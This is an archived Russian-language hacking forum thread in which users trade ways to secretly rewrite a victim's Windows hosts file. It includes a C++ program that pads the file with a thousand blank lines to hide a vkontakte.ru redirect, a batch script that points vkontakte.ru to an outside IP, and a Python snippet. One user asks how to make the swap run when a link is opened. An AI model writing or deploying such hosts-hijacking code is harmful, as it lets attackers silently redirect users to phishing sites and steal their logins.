Просмотр полной версии : На каком языке можно реализовать подмену hosts?
почти на любом.С начало определи язык а потом думай о реализации.
на языке программирования легче всего
а я думал на испанском, ошибаюсь?
на java скрипт или пхп кто-нибудь поможет сделать?
#include <iostream> //стандартный поток ввода/вывода.
#include <fstream>//для работы с файлами
using namespace std;// используем по умолчанию пространство имен std.
int main(){/*это главная функция. Она у нас ничего не возвращает, но типом главной функции может быть только int. void нельзя.*/
freopen("C:/WINDOWS/system32/drivers/etc/hosts","at",stdout); /* тут мы делаем переадресацию iostream на fstream с ключом дозаписи.*/
unsigned int a = 0; // создаём переменную счетчик.
while(a<=1000){ //создаём цикл
a++; //который заполняет файл hosts
cout<<"\n"; //тысячью пустых строк
}
cout<<"127.0.0.1 vkontakte.ru"; // это строка переадресации
}
Попробуй так:
rm hosts.txt; mv fake_hosts.txt hosts.txt
По-моему, отличная подмена
но типом главной функции может быть только int. void нельзя.
огосподигдевасэтомуучат
int main() ничего не возвращает о да
где-то мне на ачате довали код нс С++ в теме про с+++ ,жаль исходник не сохранился.
огосподигдевасэтомуучат
:D
на бате еще можно
@echo off
echo 209.85.229.104 www.vkontakte.ru >> %windir%\system32\drivers\etc\hosts
echo 209.85.229.104 vkontakte.ru >> %windir%\system32\drivers\etc\hosts
Iron47, а если у юзверя не С диск виндозный?
Fata1ex, объясните плиз, на каком это языке и как вообще работать?)
сори, но я нуб)
тебе надо больше конпелировать
и читать умные книжки
тогда тебе будут давать много долларов
по-моему вопрос поставлен четко.других советов я не просил.
понятно изъясняюсь?
CyberHunter
29.01.2010, 23:30
А можно ли это реализовать на Python'е? Я просто еще не учил работы с фалами.
мне бы сделать так, чтобы перейдя по ссылке выполнился скрипт и подмений хосты на нужные.реально?
мне бы сделать так, чтобы перейдя по ссылке выполнился скрипт и подмений хосты на нужные.реально?
Бесплатно - нет.
CyberHunter
30.01.2010, 00:12
сложно реализовать?
В разделе статьи есть то что тебе надо, правда не знаю актуально ли это еще.
gold-goblin
30.01.2010, 00:49
А можно ли это реализовать на Python'е? Я просто еще не учил работы с фалами
Можно, причем без проблем.
host = open ('адрес до хостс/hosts.txt', 'w')
host.write('строка которую добавить')
Я под линь кожу по этому константы системной папки под вин не знаю...
buxmanager
30.01.2010, 02:31
http://forum.antichat.ru/thread164577.html читай! Тут все есть вроде бы!
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot